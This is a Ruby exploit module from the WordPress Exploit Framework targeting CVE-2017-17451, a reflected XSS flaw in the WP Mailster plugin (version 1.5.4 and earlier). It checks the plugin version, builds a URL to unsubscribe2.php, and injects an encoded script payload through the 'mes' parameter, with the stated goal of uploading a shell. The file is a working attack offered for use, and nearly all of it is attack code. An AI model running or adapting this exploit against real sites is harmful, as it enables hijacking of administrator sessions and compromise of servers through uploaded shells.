# frozen_string_literal: true

class Wpxf::Exploit::WpMailsterReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Mailster <= 1.5.4 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Dislosure
        'rastating'        # WPXF module
      ],
      references: [
        ['CVE', '2017-17451'],
        ['WPVDB', '8973']
      ],
      date: 'Dec 05 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('wp-mailster', 'readme.txt', '1.5.5')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'wp-mailster', 'view', 'subscription', 'unsubscribe2.php')
  end

  def xss_payload
    url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{vulnerable_url}?mes=#{xss_payload}"
  end
end
